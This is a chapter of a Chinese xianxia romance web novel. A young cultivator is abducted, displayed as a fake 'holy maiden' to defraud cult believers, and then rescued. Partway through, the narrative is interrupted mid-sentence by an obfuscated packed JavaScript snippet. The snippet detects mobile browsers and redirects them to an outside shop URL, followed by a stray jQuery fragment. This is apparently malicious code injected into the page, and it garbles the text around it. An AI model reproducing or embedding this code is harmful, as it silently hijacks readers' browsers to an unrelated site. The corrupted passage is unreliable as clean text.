少女眼睫轻轻颤了颤,然后微微睁开了眼。
慕元若醒来的时候,就发现自己躺在一张床上。
然后她马上想起来自己看戏时,被墙上伸出来的一双手突然捂住口鼻。
还不等她用力挣扎,一阵异香钻入鼻尖,她就失去了意识。
毫无疑问,她被绑架了。
可是与她想象的完全不同,她没有被绑住手脚,也没有被扔在什么柴房。
相反,她身处的这个房间,分外奢华。
柔软的不输她家中的床,金丝钩织的床帐,向外望去,屋内摆件皆不是凡品。
她正警惕地四处打量,忽然听见一阵脚步声。
出于一种本能反应,慕元若闭紧双眼,重新躺回去了。
脚步声渐近,然后不出预料的推门而入。
感受到有人靠近自己,慕元若在被衾中用力掐了掐手心,极力让自己的身体放松下来。
那人在她床边站定。
接着,一阵轻笑声在她头上响起。
“别装了,摄魂香的功效我还不知道吗。”
慕元若不理睬这人,仍然紧闭双眼。
说话的人有些不耐烦了:“把她拉起来换衣服。朝圣大会马上就要开始了。”
两个侍女上前,迅速上前欲将慕元若拉起来。
这下她装都没法装了。
慕元若只得睁开眼,用力挣脱侍女的手,愤怒地瞪了眼前人一眼。
眼前站着的是一个丰腴的红衣美人。
她轻摇折扇,戏谑地看了她一眼:“醒了?醒了就赶紧去换衣服。”
慕元若警惕地打量了她一下:“你是谁?为什么要绑架我?”
丰腴美人不答,娇笑道:“当然是因为你对我有用呀。”
慕元若还想说什么,对方一个禁音咒打了过来。
丰腴女子挥挥手,示意两个侍女扶着慕元若往外走。
看似是扶,但是二人的手如铁钳一般。
慕元若悄悄转动灵力,欲偷袭二人,下一秒却被狠狠压制住。
“不要耍花招。”
技不如人,没办法,慕元若只好乖乖听话。
两个侍女将她带到侧间,让她在妆镜前坐下,便开始手脚麻利地给她上妆。
下巴被扣住,嘴巴也不能说话,慕元若没事干,只好眼睛乱转,忽然被墙上一幅挂画吸引了。
画的是一个美貌的女子,着黛衣,长发只用一根玉簪挽起。
重点是,与她很有几分相像。
那一瞬间,慕元若脑子里闪过许多猜想。
她的孪生姐妹?她阿娘年轻时?
她脑子里胡思乱想间,两个侍女已经在为她换衣服了。
这也是一套黛色衣裙。虽然也是大袖,但样式简洁大方,与她从前见过的都不一样。
如今的修真界崇尚登仙,喜好繁复飘逸的衣裙。
一般爱美一点的女修的衣服都是一层叠一层的。
富家小姐的慕元若就更不可能有简素的衣裳了。
换装打扮好的她,已经仿佛是画中女子走了下来。
那个丰腴美人转出来,眼睛一亮,满意地敲了敲手中折扇:“我果然没看错。”
慕元若莫名其妙:“没看错什么?”
美人一笑:“到时候你就知道了。”
她用折扇点了点墙面,上面立即显现出一扇门。
她带着侍女将慕元若半扶半挟的走进去。
将要出门时,一个侍女突然掏出一根布锻,蒙上了慕元若的眼睛。
有必要这样吗…
眼睛虽然看不见,但是修真者五感灵敏,她的耳朵还是捕捉到些许嘈杂的声音。
她们应该还是在戏楼内。
一片黑暗里,那个丰腴女子将她摁坐在什么地方,便离去了。
慕元若赶紧扯掉布条,她倒是想趁机跑路,可是下一瞬间,眼前大亮。
原来是面前的帘子拉起来了。
她适应了一下光线,这才发现原来这是一座高台,而自己正端坐在中央的软榻上。
环视一圈,底下密密麻麻跪满了人。
他们高举双手作揖,口中还高呼:“恭迎圣女!”
什么圣女?慕元若真是一头雾水了。
一旁一个身着黑袍的老者恭敬地走上前,向她行了一礼。
然后开始向信徒们赞颂这个圣女的生平。
慕元若听了个囫囵,大概是魔教一个少女五岁时被选中成为下一任圣女,从此兢兢业业,时常为魔教降下福泽。
然而这个圣女自上次两族大战后便陨落了,但是她成功给挑起战争的修真界致命一击,使他们元气大伤,至今未能复原。
魔教中人无不感激她的奉献。
但是!如今这个圣女又复活了!
就是正坐在台上的慕元若。
“圣女刚复活,身体虚弱,正需要各位相助,还请各位奉上魔石为其滋补。”老者缓慢用一种庄重的声音道。
慕元若满头黑线,她大概明白了,这伙人招摇撞骗,抓了她这么一个跟圣女长相有几分相似的人来滥竽充数,骗取信徒们的钱财。
底下的人都激动万分,纷纷把家当都掏出来。
老者让他们排成一列,依次向慕元若上供。
站在慕元若面前的第一位衣着朴素的中年女子捧着满满一盒魔石举过头顶:“问圣女安好!”
望着面前的盒子,女子陈旧的衣衫,慕元若皱了皱眉,不接。
老者咳了咳,示意女子就地放下即可。
女子照做,离开前,她又深深叩首,继而小心翼翼地吸了一口慕元若身上的气息,然后惊喜地大喊:
“真的是圣女!”
她这一句话如同一滴水落入沸腾的油锅,顷刻间这些狂热的信徒都爆发出热烈欢呼。
慕元若想说些什么,可是她面上的面纱仿佛下了咒,让她无法出声。
接下来的流程大概让这伙骗子满意的不得了,那些信徒纷纷奉上大盒大盒的魔石,又恭恭敬敬对慕元若叩首。
最后,每个人都从她身上深吸了口气,惊喜大喊而去。
慕元若有点受不了这夸张的场面,她在心里不停默念着奚珩快来。
奚珩在何处,快来救她啊,她不想当什么圣女啊——
慕元若被迫在台上坐了好几个时辰,坐的她腰酸背痛。
她真是难以置信,这群被骗的信徒人居然这么多。
*
慕元若躺在床上,长发散肩背对着外侧,看上去已经睡熟了。
门外看守她的侍女也是见过她回来时疲惫的模样的,便信以为真。
此时已经夜深,她们二人也劳累了一天,多少有点困倦。
慕元若保持这个姿势良久,直到听见门外传来均匀的浅眠呼吸声。
她在黑暗中睁大了双眼,而后从袖中掏出一把匕首。
这是她刚才趁乱从一个信徒腰间顺过来的。
这个信徒穿金戴银,腰间蹀躞带上挂满了各种小玩意。
她悄悄顺了把匕首也没人注意。
慕元若很识货,这把匕首
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275618|198231||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刀身雪亮,柄处一按还会有毒液渗入刀身。
她握紧匕首,积蓄力量,猛然一下从床上滚到床下。
很好,没有发出任何动静。
接着,她也没起身,而是半弯着腰就着这个姿势轻手轻脚向外慢慢挪。
就在这时,她听见一声闷哼。
慕元若神经一紧,那两个侍女醒了一个?
两个都睡着那还有偷袭的可能,醒了就难了。
她只得咬咬牙,突然跃起,踹门而出,一边用力按住匕首的柄。
然后将匕首尽力向门外的人刺去。
下一秒,她的手被人握住。
熟悉的声音响起:“阿若?”
慕元若定睛一看,是奚珩。而那两个侍女,已经软倒在门边,不知生死。
在经历了一场突如其来的绑架后再见到熟悉的人,慕元若感觉眼睛热热的。
她把匕首回鞘。
明明没有受多少苦,但是这么久还是感到莫名的惊慌,她有些委屈:“你怎么才来?”
奚珩摸了摸她的头,声音有点愧疚:“抱歉,都是我的错。”
旁边传来一声咳嗽,慕元若看过去,发现丹溪也斜倚在门边,笑吟吟看着他们。
慕元若赶紧冲她道谢:
“丹溪姐姐,多谢你也来救我。”
丹溪撩了撩头发:“没什么,全靠你这小情人。”
奚珩顿了顿,不动声色打断她的话,他低声道:“我们先离开这里好吗。”
慕元若轻功也还行,奚珩护着她脚尖一点向下掠去。
他身后的丹溪没有立即跟上,而是狡黠一笑,伸出一指朝奚珩点了点,口中开始默念咒语。
接着,她才不紧不慢一脚踩上栏杆,向二人追去。
戏楼里已经没有什么人了,奚珩带着慕元若直接往集市出口而去。
期间他简单解释了一番。
原来他们没有将慕元若带远,而是就在戏楼六楼的暗室。
可是这些暗室不计其数,有的还会通往其他地方。对这里不太熟悉的奚珩也有点焦头烂额。
他去找了戏楼主人,在他的帮助下终于找到了。
至于奚珩逼着楼主把戏楼翻了个底朝天,客人统统搜身检查的事他略过不提。
他冰冷地眯了眯眼,这个什么集市,他看是不必存在了。
在集市出口,丹溪停住脚步与她们告别:“你们先回去吧,我还有事。”
慕元若有些好奇,但丹溪只笑笑:“有缘相会,我送了你一件礼物哦。”
说罢她便重新戴上帽子,转身离去。
*
温柔的阳光洒落进内室。
慕元若从床上猛地睁开眼。
她看见了熟悉的床帐,身体渐渐放松下来。
哦对,他们已经回家了。
她伸了个懒腰,从床上起来。让熟悉的侍女进来为自己洗漱。
怕爹娘担心,慕元若昨夜便叮嘱奚珩,既然她没事,就不要声张。
不然以她爹娘的性子,她大约是近期都不可能再出门了。
想起他,慕元若准备推门与他打招呼,却发现奚珩并没有如往常一样在门口等着她。
她有些奇怪,想了想还是去他院中找他了。
她敲了半天门,始终无人应答。
奇怪,他们昨夜明明是一起回来的呀…
慕元若只好自己推门进去。
在内室转了半天,她竟然没有发现任何人。
慕元若正沉思着,却感觉裙摆被什么东西扯住了。